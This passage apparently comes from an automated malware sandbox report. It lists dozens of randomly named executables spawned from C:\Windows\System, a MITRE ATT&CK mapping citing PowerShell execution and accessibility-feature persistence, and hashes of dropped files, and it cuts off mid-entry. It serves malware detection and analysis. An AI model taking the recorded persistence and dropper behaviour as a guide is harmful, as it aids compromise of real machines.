- C:\Windows\System\XdXnigz.exe
  C:\Windows\System\XdXnigz.exe
  2⤵
  PID:8900
- C:\Windows\System\YHzrRZY.exe
  C:\Windows\System\YHzrRZY.exe
  2⤵
  PID:8916
- C:\Windows\System\SjkibGa.exe
  C:\Windows\System\SjkibGa.exe
  2⤵
  PID:8932
- C:\Windows\System\msRnAHI.exe
  C:\Windows\System\msRnAHI.exe
  2⤵
  PID:8948
- C:\Windows\System\tGZYNMh.exe
  C:\Windows\System\tGZYNMh.exe
  2⤵
  PID:8964
- C:\Windows\System\uZtQwWB.exe
  C:\Windows\System\uZtQwWB.exe
  2⤵
  PID:8980
- C:\Windows\System\cRNPJDX.exe
  C:\Windows\System\cRNPJDX.exe
  2⤵
  PID:8996
- C:\Windows\System\SyZlmnv.exe
  C:\Windows\System\SyZlmnv.exe
  2⤵
  PID:9012
- C:\Windows\System\brWNofI.exe
  C:\Windows\System\brWNofI.exe
  2⤵
  PID:9028
- C:\Windows\System\zsjOEFr.exe
  C:\Windows\System\zsjOEFr.exe
  2⤵
  PID:9044
- C:\Windows\System\RFLcQha.exe
  C:\Windows\System\RFLcQha.exe
  2⤵
  PID:9060
- C:\Windows\System\qhOtSUJ.exe
  C:\Windows\System\qhOtSUJ.exe
  2⤵
  PID:9076
- C:\Windows\System\UitVaBF.exe
  C:\Windows\System\UitVaBF.exe
  2⤵
  PID:9092
- C:\Windows\System\KwXnNwy.exe
  C:\Windows\System\KwXnNwy.exe
  2⤵
  PID:9108
- C:\Windows\System\pnqjaNd.exe
  C:\Windows\System\pnqjaNd.exe
  2⤵
  PID:9124
- C:\Windows\System\ZIJxDwG.exe
  C:\Windows\System\ZIJxDwG.exe
  2⤵
  PID:9140
- C:\Windows\System\pLlfiQA.exe
  C:\Windows\System\pLlfiQA.exe
  2⤵
  PID:9156
- C:\Windows\System\wcSgSWz.exe
  C:\Windows\System\wcSgSWz.exe
  2⤵
  PID:9172
- C:\Windows\System\vbiUvGT.exe
  C:\Windows\System\vbiUvGT.exe
  2⤵
  PID:9188
- C:\Windows\System\ukTqbwL.exe
  C:\Windows\System\ukTqbwL.exe
  2⤵
  PID:9204
- C:\Windows\System\yNTYjWg.exe
  C:\Windows\System\yNTYjWg.exe
  2⤵
  PID:6220
- C:\Windows\System\ZwtyUzg.exe
  C:\Windows\System\ZwtyUzg.exe
  2⤵
  PID:5628
- C:\Windows\System\xqZjaZJ.exe
  C:\Windows\System\xqZjaZJ.exe
  2⤵
  PID:5952
- C:\Windows\System\siZDvwx.exe
  C:\Windows\System\siZDvwx.exe
  2⤵
  PID:7868
- C:\Windows\System\iprRUGt.exe
  C:\Windows\System\iprRUGt.exe
  2⤵
  PID:8052
- C:\Windows\System\bQvzbFg.exe
  C:\Windows\System\bQvzbFg.exe
  2⤵
  PID:8232
- C:\Windows\System\iYXAjQZ.exe
  C:\Windows\System\iYXAjQZ.exe
  2⤵
  PID:8280
- C:\Windows\System\yrsfJSk.exe
  C:\Windows\System\yrsfJSk.exe
  2⤵
  PID:8316
- C:\Windows\System\dHmfxcj.exe
  C:\Windows\System\dHmfxcj.exe
  2⤵
  PID:8376
- C:\Windows\System\RXNjsHd.exe
  C:\Windows\System\RXNjsHd.exe
  2⤵
  PID:8328
- C:\Windows\System\wOAXnpl.exe
  C:\Windows\System\wOAXnpl.exe
  2⤵
  PID:8408
- C:\Windows\System\wPCEgrq.exe
  C:\Windows\System\wPCEgrq.exe
  2⤵
  PID:8476
- C:\Windows\System\cUwQvxK.exe
  C:\Windows\System\cUwQvxK.exe
  2⤵
  PID:8508
- C:\Windows\System\psDrOAs.exe
  C:\Windows\System\psDrOAs.exe
  2⤵
  PID:8428
- C:\Windows\System\vyGIHjc.exe
  C:\Windows\System\vyGIHjc.exe
  2⤵
  PID:8488
- C:\Windows\System\GrZOoYQ.exe
  C:\Windows\System\GrZOoYQ.exe
  2⤵
  PID:8552
- C:\Windows\System\drayLee.exe
  C:\Windows\System\drayLee.exe
  2⤵
  PID:8600
- C:\Windows\System\tgsCaqI.exe
  C:\Windows\System\tgsCaqI.exe
  2⤵
  PID:8664
- C:\Windows\System\dLlvYSn.exe
  C:\Windows\System\dLlvYSn.exe
  2⤵
  PID:8700
- C:\Windows\System\MGXinMC.exe
  C:\Windows\System\MGXinMC.exe
  2⤵
  PID:8736
- C:\Windows\System\dGRlrZG.exe
  C:\Windows\System\dGRlrZG.exe
  2⤵
  PID:8648
- C:\Windows\System\EcvHKOx.exe
  C:\Windows\System\EcvHKOx.exe
  2⤵
  PID:8712
- C:\Windows\System\JRPlSnt.exe
  C:\Windows\System\JRPlSnt.exe
  2⤵
  PID:8764
- C:\Windows\System\WvcSjvh.exe
  C:\Windows\System\WvcSjvh.exe
  2⤵
  PID:8784
- C:\Windows\System\ABaevgp.exe
  C:\Windows\System\ABaevgp.exe
  2⤵
  PID:8812
- C:\Windows\System\UleAVLy.exe
  C:\Windows\System\UleAVLy.exe
  2⤵
  PID:8816
- C:\Windows\System\hiFOYuF.exe
  C:\Windows\System\hiFOYuF.exe
  2⤵
  PID:8844
- C:\Windows\System\uJvxhzw.exe
  C:\Windows\System\uJvxhzw.exe
  2⤵
  PID:8956
- C:\Windows\System\sESaXKD.exe
  C:\Windows\System\sESaXKD.exe
  2⤵
  PID:8988
- C:\Windows\System\gZPuDtP.exe
  C:\Windows\System\gZPuDtP.exe
  2⤵
  PID:9008
- C:\Windows\System\fkwCVgf.exe
  C:\Windows\System\fkwCVgf.exe
  2⤵
  PID:8944
- C:\Windows\System\yQiRVfe.exe
  C:\Windows\System\yQiRVfe.exe
  2⤵
  PID:9040
- C:\Windows\System\QgvYAGS.exe
  C:\Windows\System\QgvYAGS.exe
  2⤵
  PID:9148
- C:\Windows\System\CJxWeeh.exe
  C:\Windows\System\CJxWeeh.exe
  2⤵
  PID:9036
- C:\Windows\System\vKtaapT.exe
  C:\Windows\System\vKtaapT.exe
  2⤵
  PID:9104
- C:\Windows\System\SiPNYyW.exe
  C:\Windows\System\SiPNYyW.exe
  2⤵
  PID:6512
- C:\Windows\System\jjCukxD.exe
  C:\Windows\System\jjCukxD.exe
  2⤵
  PID:9196
- C:\Windows\System\KeLakoZ.exe
  C:\Windows\System\KeLakoZ.exe
  2⤵
  PID:6976
- C:\Windows\System\VLmUUte.exe
  C:\Windows\System\VLmUUte.exe
  2⤵
  PID:5196
- C:\Windows\System\hvnnWDs.exe
  C:\Windows\System\hvnnWDs.exe
  2⤵
  PID:8364
- C:\Windows\System\GERnlOb.exe
  C:\Windows\System\GERnlOb.exe
  2⤵
  PID:8200
- C:\Windows\System\WZPONMP.exe
  C:\Windows\System\WZPONMP.exe
  2⤵
  PID:8456
- C:\Windows\System\CHPuYgA.exe
  C:\Windows\System\CHPuYgA.exe
  2⤵
  PID:8284
- C:\Windows\System\NlkgfeA.exe
  C:\Windows\System\NlkgfeA.exe
  2⤵
  PID:3220
- C:\Windows\System\mvmXYmB.exe
  C:\Windows\System\mvmXYmB.exe
  2⤵
  PID:8524
- C:\Windows\System\DToqezb.exe
  C:\Windows\System\DToqezb.exe
  2⤵
  PID:8584
- C:\Windows\System\ujnbdaa.exe
  C:\Windows\System\ujnbdaa.exe
  2⤵
  PID:8680
- C:\Windows\System\gisOlzN.exe
  C:\Windows\System\gisOlzN.exe
  2⤵
  PID:8780
- C:\Windows\System\WlRcRZl.exe
  C:\Windows\System\WlRcRZl.exe
  2⤵
  PID:8864
- C:\Windows\System\HtNSiry.exe
  C:\Windows\System\HtNSiry.exe
  2⤵
  PID:8960
- C:\Windows\System\XwTcJQu.exe
  C:\Windows\System\XwTcJQu.exe
  2⤵
  PID:9024
- C:\Windows\System\StKmFpc.exe
  C:\Windows\System\StKmFpc.exe
  2⤵
  PID:9116
- C:\Windows\System\iNSBkxB.exe
  C:\Windows\System\iNSBkxB.exe
  2⤵
  PID:9088
- C:\Windows\System\drTRCaV.exe
  C:\Windows\System\drTRCaV.exe
  2⤵
  PID:5772
- C:\Windows\System\RWUyLqD.exe
  C:\Windows\System\RWUyLqD.exe
  2⤵
  PID:9132
- C:\Windows\System\dWqrlfn.exe
  C:\Windows\System\dWqrlfn.exe
  2⤵
  PID:8472
- C:\Windows\System\vyymCWt.exe
  C:\Windows\System\vyymCWt.exe
  2⤵
  PID:8348
- C:\Windows\System\ckbrFNy.exe
  C:\Windows\System\ckbrFNy.exe
  2⤵
  PID:8440
- C:\Windows\System\wSIfwJv.exe
  C:\Windows\System\wSIfwJv.exe
  2⤵
  PID:8696
- C:\Windows\System\YIXSeQf.exe
  C:\Windows\System\YIXSeQf.exe
  2⤵
  PID:8924
- C:\Windows\System\qRXvGyo.exe
  C:\Windows\System\qRXvGyo.exe
  2⤵
  PID:8728
- C:\Windows\System\ORXkpdd.exe
  C:\Windows\System\ORXkpdd.exe
  2⤵
  PID:8880
- C:\Windows\System\IEykBbm.exe
  C:\Windows\System\IEykBbm.exe
  2⤵
  PID:9020
- C:\Windows\System\fLxeOFH.exe
  C:\Windows\System\fLxeOFH.exe
  2⤵
  PID:9168
- C:\Windows\System\RmehnJl.exe
  C:\Windows\System\RmehnJl.exe
  2⤵
  PID:8236
- C:\Windows\System\zeLVbSC.exe
  C:\Windows\System\zeLVbSC.exe
  2⤵
  PID:8268
- C:\Windows\System\sHDEgPe.exe
  C:\Windows\System\sHDEgPe.exe
  2⤵
  PID:8748
- C:\Windows\System\VlzMNrR.exe
  C:\Windows\System\VlzMNrR.exe
  2⤵
  PID:9184
- C:\Windows\System\NrmNKKw.exe
  C:\Windows\System\NrmNKKw.exe
  2⤵
  PID:9100
- C:\Windows\System\KbVRerj.exe
  C:\Windows\System\KbVRerj.exe
  2⤵
  PID:8572
- C:\Windows\System\zhgqkJV.exe
  C:\Windows\System\zhgqkJV.exe
  2⤵
  PID:8636
- C:\Windows\System\mLVaUNG.exe
  C:\Windows\System\mLVaUNG.exe
  2⤵
  PID:9120
- C:\Windows\System\vZXmvFB.exe
  C:\Windows\System\vZXmvFB.exe
  2⤵
  PID:8892
- C:\Windows\System\ccFQUKF.exe
  C:\Windows\System\ccFQUKF.exe
  2⤵
  PID:9224
- C:\Windows\System\SuEfmLI.exe
  C:\Windows\System\SuEfmLI.exe
  2⤵
  PID:9240
- C:\Windows\System\dZKqkJc.exe
  C:\Windows\System\dZKqkJc.exe
  2⤵
  PID:9256
- C:\Windows\System\OMydRbh.exe
  C:\Windows\System\OMydRbh.exe
  2⤵
  PID:9272
- C:\Windows\System\ccOiWQi.exe
  C:\Windows\System\ccOiWQi.exe
  2⤵
  PID:9288
- C:\Windows\System\jCyXCfB.exe
  C:\Windows\System\jCyXCfB.exe
  2⤵
  PID:9304
- C:\Windows\System\lRyYneg.exe
  C:\Windows\System\lRyYneg.exe
  2⤵
  PID:9320
- C:\Windows\System\MJhWfmZ.exe
  C:\Windows\System\MJhWfmZ.exe
  2⤵
  PID:9336
- C:\Windows\System\odmNrOJ.exe
  C:\Windows\System\odmNrOJ.exe
  2⤵
  PID:9352
- C:\Windows\System\tcZDOcA.exe
  C:\Windows\System\tcZDOcA.exe
  2⤵
  PID:9368
- C:\Windows\System\AUtRzmo.exe
  C:\Windows\System\AUtRzmo.exe
  2⤵
  PID:9384
- C:\Windows\System\FYRMZdS.exe
  C:\Windows\System\FYRMZdS.exe
  2⤵
  PID:9400
- C:\Windows\System\IiXbsnc.exe
  C:\Windows\System\IiXbsnc.exe
  2⤵
  PID:9416
- C:\Windows\System\rYmccSt.exe
  C:\Windows\System\rYmccSt.exe
  2⤵
  PID:9432
- C:\Windows\System\YPMQiKA.exe
  C:\Windows\System\YPMQiKA.exe
  2⤵
  PID:9448
- C:\Windows\System\YAESRGa.exe
  C:\Windows\System\YAESRGa.exe
  2⤵
  PID:9464
- C:\Windows\System\WZSSyWv.exe
  C:\Windows\System\WZSSyWv.exe
  2⤵
  PID:9480
- C:\Windows\System\TYLwOms.exe
  C:\Windows\System\TYLwOms.exe
  2⤵
  PID:9496
- C:\Windows\System\nQkSfCp.exe
  C:\Windows\System\nQkSfCp.exe
  2⤵
  PID:9512
- C:\Windows\System\YcfoWNL.exe
  C:\Windows\System\YcfoWNL.exe
  2⤵
  PID:9528
- C:\Windows\System\jnCNpyr.exe
  C:\Windows\System\jnCNpyr.exe
  2⤵
  PID:9576
- C:\Windows\System\dEcazao.exe
  C:\Windows\System\dEcazao.exe
  2⤵
  PID:9592
- C:\Windows\System\NEGoWKQ.exe
  C:\Windows\System\NEGoWKQ.exe
  2⤵
  PID:9608
- C:\Windows\System\YDQdoQC.exe
  C:\Windows\System\YDQdoQC.exe
  2⤵
  PID:9624
- C:\Windows\System\alapTEv.exe
  C:\Windows\System\alapTEv.exe
  2⤵
  PID:9640
- C:\Windows\System\XMMPPVX.exe
  C:\Windows\System\XMMPPVX.exe
  2⤵
  PID:9656
- C:\Windows\System\Pixsbak.exe
  C:\Windows\System\Pixsbak.exe
  2⤵
  PID:9672
- C:\Windows\System\qCyyPvZ.exe
  C:\Windows\System\qCyyPvZ.exe
  2⤵
  PID:9688
- C:\Windows\System\sEmevCV.exe
  C:\Windows\System\sEmevCV.exe
  2⤵
  PID:9704
- C:\Windows\System\bKGPRNK.exe
  C:\Windows\System\bKGPRNK.exe
  2⤵
  PID:9720
- C:\Windows\System\IOIgZFz.exe
  C:\Windows\System\IOIgZFz.exe
  2⤵
  PID:9736
- C:\Windows\System\lGigIYi.exe
  C:\Windows\System\lGigIYi.exe
  2⤵
  PID:9752
- C:\Windows\System\dakJqoN.exe
  C:\Windows\System\dakJqoN.exe
  2⤵
  PID:9768
- C:\Windows\System\jhTQjRR.exe
  C:\Windows\System\jhTQjRR.exe
  2⤵
  PID:9784
- C:\Windows\System\xVbWaXJ.exe
  C:\Windows\System\xVbWaXJ.exe
  2⤵
  PID:9800
- C:\Windows\System\HGUGLEQ.exe
  C:\Windows\System\HGUGLEQ.exe
  2⤵
  PID:9816
- C:\Windows\System\bAowUUM.exe
  C:\Windows\System\bAowUUM.exe
  2⤵
  PID:9832
- C:\Windows\System\TrPIJbR.exe
  C:\Windows\System\TrPIJbR.exe
  2⤵
  PID:9848
- C:\Windows\System\cZybSms.exe
  C:\Windows\System\cZybSms.exe
  2⤵
  PID:9864
- C:\Windows\System\LBbYgYF.exe
  C:\Windows\System\LBbYgYF.exe
  2⤵
  PID:9880
- C:\Windows\System\MNmdmFC.exe
  C:\Windows\System\MNmdmFC.exe
  2⤵
  PID:9896
- C:\Windows\System\AJDACbC.exe
  C:\Windows\System\AJDACbC.exe
  2⤵
  PID:9912
- C:\Windows\System\mvMTKQH.exe
  C:\Windows\System\mvMTKQH.exe
  2⤵
  PID:9928
- C:\Windows\System\DckPwXw.exe
  C:\Windows\System\DckPwXw.exe
  2⤵
  PID:9948
- C:\Windows\System\MXfJgac.exe
  C:\Windows\System\MXfJgac.exe
  2⤵
  PID:9964
- C:\Windows\System\OPqecIj.exe
  C:\Windows\System\OPqecIj.exe
  2⤵
  PID:9980
- C:\Windows\System\WZljReX.exe
  C:\Windows\System\WZljReX.exe
  2⤵
  PID:10004
- C:\Windows\System\KlNvkIU.exe
  C:\Windows\System\KlNvkIU.exe
  2⤵
  PID:10020
- C:\Windows\System\yEUbnhB.exe
  C:\Windows\System\yEUbnhB.exe
  2⤵
  PID:10040
- C:\Windows\System\SLNSBRn.exe
  C:\Windows\System\SLNSBRn.exe
  2⤵
  PID:10060
- C:\Windows\System\gpiKgJL.exe
  C:\Windows\System\gpiKgJL.exe
  2⤵
  PID:10076
- C:\Windows\System\VFItlBA.exe
  C:\Windows\System\VFItlBA.exe
  2⤵
  PID:10092
- C:\Windows\System\qEPftks.exe
  C:\Windows\System\qEPftks.exe
  2⤵
  PID:10108
- C:\Windows\System\Kdryoid.exe
  C:\Windows\System\Kdryoid.exe
  2⤵
  PID:10124
- C:\Windows\System\qQvLhCg.exe
  C:\Windows\System\qQvLhCg.exe
  2⤵
  PID:10140
- C:\Windows\System\DryDmLd.exe
  C:\Windows\System\DryDmLd.exe
  2⤵
  PID:10156
- C:\Windows\System\GUzlfnH.exe
  C:\Windows\System\GUzlfnH.exe
  2⤵
  PID:10172
- C:\Windows\System\NJvxHwl.exe
  C:\Windows\System\NJvxHwl.exe
  2⤵
  PID:10188
- C:\Windows\System\CwyBmHg.exe
  C:\Windows\System\CwyBmHg.exe
  2⤵
  PID:10204
- C:\Windows\System\VkQFcWl.exe
  C:\Windows\System\VkQFcWl.exe
  2⤵
  PID:10220
- C:\Windows\System\wQbBNwP.exe
  C:\Windows\System\wQbBNwP.exe
  2⤵
  PID:10236
- C:\Windows\System\nCHtQYc.exe
  C:\Windows\System\nCHtQYc.exe
  2⤵
  PID:9220
- C:\Windows\System\AoxMbGg.exe
  C:\Windows\System\AoxMbGg.exe
  2⤵
  PID:9268
- C:\Windows\System\yLFGDHC.exe
  C:\Windows\System\yLFGDHC.exe
  2⤵
  PID:9328
- C:\Windows\System\TVDdiGX.exe
  C:\Windows\System\TVDdiGX.exe
  2⤵
  PID:9360
- C:\Windows\System\OLIKsgt.exe
  C:\Windows\System\OLIKsgt.exe
  2⤵
  PID:9348
- C:\Windows\System\LAIEyJs.exe
  C:\Windows\System\LAIEyJs.exe
  2⤵
  PID:9408
- C:\Windows\System\VyQyoAQ.exe
  C:\Windows\System\VyQyoAQ.exe
  2⤵
  PID:9440
- C:\Windows\System\aTLgBjB.exe
  C:\Windows\System\aTLgBjB.exe
  2⤵
  PID:9488
- C:\Windows\System\wKaunKm.exe
  C:\Windows\System\wKaunKm.exe
  2⤵
  PID:9472
- C:\Windows\System\ReBRyrJ.exe
  C:\Windows\System\ReBRyrJ.exe
  2⤵
  PID:9504
- C:\Windows\System\fOmzAbc.exe
  C:\Windows\System\fOmzAbc.exe
  2⤵
  PID:9560
- C:\Windows\System\jHyACAN.exe
  C:\Windows\System\jHyACAN.exe
  2⤵
  PID:9584
- C:\Windows\System\AVHehuz.exe
  C:\Windows\System\AVHehuz.exe
  2⤵
  PID:9600
- C:\Windows\System\dOzcxKJ.exe
  C:\Windows\System\dOzcxKJ.exe
  2⤵
  PID:9632
- C:\Windows\System\DYleLVr.exe
  C:\Windows\System\DYleLVr.exe
  2⤵
  PID:9680
- C:\Windows\System\rxSpCHr.exe
  C:\Windows\System\rxSpCHr.exe
  2⤵
  PID:9744
- C:\Windows\System\hKjQUcJ.exe
  C:\Windows\System\hKjQUcJ.exe
  2⤵
  PID:9808
- C:\Windows\System\UFTWypE.exe
  C:\Windows\System\UFTWypE.exe
  2⤵
  PID:9872
- C:\Windows\System\LnPisJz.exe
  C:\Windows\System\LnPisJz.exe
  2⤵
  PID:9700
- C:\Windows\System\MVjJxKT.exe
  C:\Windows\System\MVjJxKT.exe
  2⤵
  PID:9860
- C:\Windows\System\MczlDKA.exe
  C:\Windows\System\MczlDKA.exe
  2⤵
  PID:9824
- C:\Windows\System\lSWjEaR.exe
  C:\Windows\System\lSWjEaR.exe
  2⤵
  PID:9892
- C:\Windows\System\uPUAmfX.exe
  C:\Windows\System\uPUAmfX.exe
  2⤵
  PID:9940
- C:\Windows\System\cevMSXd.exe
  C:\Windows\System\cevMSXd.exe
  2⤵
  PID:9924
- C:\Windows\System\HFypMKl.exe
  C:\Windows\System\HFypMKl.exe
  2⤵
  PID:9988
- C:\Windows\System\lWldPVw.exe
  C:\Windows\System\lWldPVw.exe
  2⤵
  PID:10056
- C:\Windows\System\RGzLOMS.exe
  C:\Windows\System\RGzLOMS.exe
  2⤵
  PID:10000
- C:\Windows\System\fgcOjUn.exe
  C:\Windows\System\fgcOjUn.exe
  2⤵
  PID:9996
- C:\Windows\System\RLVuXho.exe
  C:\Windows\System\RLVuXho.exe
  2⤵
  PID:9252
- C:\Windows\System\IZJAprB.exe
  C:\Windows\System\IZJAprB.exe
  2⤵
  PID:9616
- C:\Windows\System\IYSdbQU.exe
  C:\Windows\System\IYSdbQU.exe
  2⤵
  PID:9316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Privilege Escalation

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\BJqQpDu.exe

Filesize
1.2MB

MD5
8374f8df5cb73a244a5154a50f1d34e9

SHA1
4b5e6b3d1533816568274f8d6189c5f8506dd897

SHA256
219c76f897bb07dce79bdf1460861d14e7e056e040f4d04f09fcfe20124b3986

SHA512
93bd8e265ce7800294d6120186da98674803257551d0d3884527649e36eff1bd97acdb09019d8fd57380afb76d3b353b8d788adedddb9caed684541d2ef7bfb2

Download Submit
C:\Windows\system\CJpbOLx.exe

Filesize
1.2MB

MD5
9c5d92992c36c13d1cf843098fbc33c6

SHA1
706f6e9a5f977eee98e1ce1edd6d0b661d9da449

SHA256
a5d9da59219f8c66b10915431782efddd682158349683e1160cbf5a73a776dfa

SHA512
fb32b7bc008ca44512e57e0fca634ae4e2e7765e036ba66aabf631b88e6ef1360fecf2dd0687a571c8e41ac59b35e3a803c0e48439dd1c194d3a7d4f1bbf707c

Download Submit
C:\Windows\system\CqzEAZc.exe

Filesize
1.2MB

MD5
690c25993d161479e78aa219f44ac6be

SHA1
13252d1385df6e4f54b67d8f6bc40be722a1d201

SHA256
505382c0cc9dab87e7528242865b65ebbea74fa26804caf441b4324f5237574c

SHA512
5d5e35adec87f507f6e978b8c1fc1c49e97c1f3e1c07a018ce1d821d834cced0a782ce8833b17d7e45a6d3bdb2dbba53059e60d506ab5adc0b7592d20c0c9630

Download Submit
C:\Windows\system\DuPoORn.exe

Filesize
1.2MB

MD5
068b8b59349fedb7424961d1483cdc3f

SHA1
d31aebeb88397e3459058a387f133ba958d7a560

SHA256
eba4baae49aeb300cba43819b874caa0bc20192c3fd406eace8fd857f5910048

SHA512
f841a6db79acc651951cd355592b5b1ada61aa6ebabb2ae247fc1dd1d3fb8d3ad809f4f0c9d4c15c62f00616bc88d16049dfdd3625b833f027a046eaffba2ca8

Download Submit
C:\Windows\system\HPUTLlL.exe

Filesize
1.2MB

MD5
6ad15438323978e68c501a4baa44aa79

SHA1
892f7de3e520a15f2d6c703ea590a22f69b652a1

SHA256
3207a6f0b967edc4d808af7211aab60a17b176627f99c13c1edd1a8a29a3b8f0

SHA512
10fd805ca843974d8ef770ea7d67cbbeeb5bdba4ffda9289c2c187b46581f30885ee2e46be9ca0eb827fca5bdf5c819010fe310905ae7eb0c0bdd05ad3fd89e6

Download Submit
C:\Windows\system\IgJamKe.exe

Filesize
1.2MB

MD5
032818f04e13d719ed84cfcaa5d62e2a

SHA1
1b711717b754849013ecb42aa71557d45e0586bc

SHA256
1b4631c6d9b3a0ce11e056702f0a0539d9382ef52c7994cf8489d755a3107cfa

SHA512
feac135c2890bde5e0d23de78a2038b846b8881ff88be2a5a1b8ef1e66e4283d920ac602398c3199ab8105523745d33dc416b0ca2f107a820353100f3a87eeb9

Download Submit
C:\Windows\system\KqIegeB.exe

Filesize
1.2MB

MD5
7e6a22f1800ed3ff03a8069b327a8d39

SHA1
db6702bc543f99e3b8f9ca204d35185f8fb99e55

SHA256
53460dd799516738195155291756b145b93840ec74a1b3a65c4d91935c26d778

SHA512
e333c50d75e17c46caaffa8822adcd37c15f85f1004163b074be0ec4b90f59d53a1ef684cedc0dc9a2d19840a486da65dccebf465c0b32f229ab03247ff41333

Download Submit
C:\Windows\system\NCCVGzu.exe

Filesize
1.2MB

MD5
2b191bf8a729182cad4fed7db92f6d37

SHA1
406ef53cee9c3898a9fd8404e32e27b334d46400

SHA256
f3494de33d9e29e8c4a82d53f9e45bce845ad2d09a03f9e4d4498f32852bce91

SHA512
51c06b1848c3647471fddc6a1369c61d1f9f472f26896c6fd878db75af58d3bbfe360e48a115f8173896c7dd351e28430caa65acd6447f0220f84e43af01609f

Download Submit
C:\Windows\system\VPCgvfb.exe

Filesize
1.2MB

MD5
10fdf567f2984526e119fb9009e8e59d

SHA1
02ef1c7cb2112a25015443abe9ce6c90f9a6af8a

SHA256
c65abfd37ba450791696b0f534df477baf1de0d6323f43ec086f1aac8ce1cab7

SHA512
cdcfe1e244b92cdc064d347a4261cca40799031aab1eb3ee19d8e2f77b2c2c758625e3a05c034ad4371ace8d30128c2d85e2f72738e726172627137156904c03

Download Submit
C:\Windows\system\antCDNK.exe

Filesize
1.2MB

MD5
814bdacb34b20bd3df8de61648fd66b1

SHA1
e92b0513407ce4328ee2acb62054fe8f69d782cb

SHA256
d3d5811ec01b3cf70440bb2cbbd238f72d385f687e5fb63e8539d6c36df9e787

SHA512
4a36c7d2ebf1c47f316473ef769f05bfd0a07c1aad015d5a9457bca99160f91e6ac1ec593a9b97a024525271bfeb153545efd3e76d8b298ba765fb44d4452e1b

Download Submit
C:\Windows\system\bMhjyhc.exe

Filesize
1.2MB

MD5
5ed2f68dc6c7a58d7e72439e97422582

SHA1
108bb1b73e4e09f62bba88178d06680a27f8c80c

SHA256
03db7495e669546de8359bef634f45f6a19ab7f2b661da2e0eb043f3b5f838e8

SHA512
1c2330652a4608ee89fce2e478a527dda1f69a77d817f7bc24b96d9a8cc959fd80bf11af64eee7c1b1b30304b9cdb539f9f33869137440532f6959556a794635

Download Submit
C:\Windows\system\eQqyXmA.exe

Filesize
1.2MB

MD5
4047ebc42179d046c69f306da8cc1bae

SHA1
5361059e961bf9760c4f2553b4d6244b556932ae

SHA256
a77d3b1cbd85c10de1908c3bb12f215c41d73c3c45459746f84df09be6814028

SHA512
43e914232956201f03540bcf6e75a0af5fc97f22b926981dcf575bcdf4485391d466863abd775c864b0e058b61a7380669e59f1c9c846c7e56fa4bf344ad7a8d

Download Submit
C:\Windows\system\fOqlQIS.exe

Filesize
1.2MB

MD5
b5738c3d97a92efbd542bf07e492ad2a

SHA1
6f96e6f8fa68f41dd97b1ef25c2f405f1f5fb338

SHA256
d16a409afac5c953b189f64d5dddd537b58e05d366caa4865a81b16440f7e5c7

SHA512
417234a1cfdd9d13ede8ad7489a2ef104fd984f8a782684540c24a02abbd8b565790bf19286a8635b4a3fad50328dff2c94fa1474ce7ac92451f888f6cf64638

Download Submit
C:\Windows\system\frxEswS.exe

Filesize
18B

MD5
a2a8c31bfe674b2e51cc8c1e80154c36

SHA1
6eefb96252fb13dd347c4f09c8a67395771a54ac

SHA256
2a66120ff3f2505c7abec7468e6a93e728ab64fc27fd29e4a6d78ddb9330f4a1

SHA512
24bb2dc2797f030569b87e7efe894cb89aa16df5459f9c05da2f55cab827a557421455be6ec06073dcdfca856439a1738ef3a0fc0b90f141b648e6e8dfbdbf25

Download Submit
C:\Windows\system\hwAMhlC.exe

Filesize
1.2MB

MD5
7ea0bdf5eb5b688a3ea39dd2d9a12e07

SHA1
db92208972fd959a08b5d92efa83783142b9ac95

SHA256
7a274657f80f28a69473449ae92edc340dbc01540f3486509a0e4bcb6c163315

SHA512
554f0aaaa856d1be01b5259c7bc2208ac798bb78eec538f0377da66ea0274900af6e366413a1b83d4c372c95eff74eaf2a000bb94f0f9c244e7a8c875031c9f1

Download Submit
C:\Windows\system\iYHcfyG.exe

Filesize
1.2MB

MD5
8434b386b56f9466b58169b10ffed1cb

SHA1
e51c56094aee8e15207c1fb0588a9e4c433c8f3f

SHA256
2e2e7d3ede2266d401c82483b9c2950f245f86295bbbd120c836e1b3c5c29bc9

SHA512
b37a6572c359c3b0265128f500bb2a1105e7b52d940a53d592a25836f2d235532768388fa62ab91ac91129a38723958770ff85f846ec2eee8e1f3a373034e48b

Download Submit
C:\Windows\system\jdqcGvW.exe

Filesize
1.2MB

MD5
fa782f124172c3485264744eb1699507

SHA1
f13d40b160d04d3d915b989bc5b5956eb0c9d5d4

SHA256
08cc547475ea7dd6f0f27c8a9c86bdd15a9d676654b435958188cad7b1253a3a

SHA512
d9f4a76f9ae0b851256bd19f09a05a9c7903c1df2356214b87c5a131ba6dbf57dcecd33be60b4a95f2102adc94eb2be0e02656b6de372662ca4d862099aa139c

Download Submit
C:\Windows\system\kXiHxPG.exe

Filesize
1.2MB

MD5
847a92a8b6befe32d0a05848d82604c2

SHA1
8385242990ae5ca89abe7aae11e65c8b5d7f34ee

SHA256
8db1a631b6098eca8687c80880bdb6db395ebe3a8fb3569e2a1fa30f4b1777b7

SHA512
b2b27418bd667313e704939d51e2cb0e485b5a02064ce46667ff5910779861e1a472284623a695b9f4c43bebc7acaddb691c58792c576fbeb812002be6a77703

Download Submit
C:\Windows\system\mMRVKWK.exe

Filesize
1.2MB

MD5
e0274d57faa31bc751654ff5443283b3

SHA1
cc81ba17b91d17166c030875ac5dc7511f19b098

SHA256
efb0313f5a68f419408c3cdd949b973a3d8ef2a71dcee02a51cea40643c076cf

SHA512
7d2d00da5731f05f9a274f3de35cd714487339c641e44dd7e9e0238b6ad2b024e09cbe75a4912fd7ca3f5bdc56df16cf33a04fbf6f68333fc87afd4e773fa854

Download Submit
C:\Windows\system\mgaroOW.exe

Filesize
1.2MB

MD5
161ab37ed2702227ef5b8ce22944ae86

SHA1
4ba70919504fca9506e606008cdca24fb2b37fbd

SHA256
638c73c8c26732886b0d490b2d02c593b09a6bec261751ffae25190ce4aa7ba3

SHA512
0e90104646edb1519223fb5f7063da9f0525a5619a1ad975632951e1518c6f9fcd6b9c401bd9ca91210657d20ee97d32f6d7bf939f982cdc6cd706776c524318

Download Submit
C:\Windows\system\mrtSamG.exe

Filesize
1.2MB

MD5
4e3610eb8051d67da9f8f29d6b6f4922

SHA1
bea74c6899f3357835b96365859467ce28638b5f

SHA256
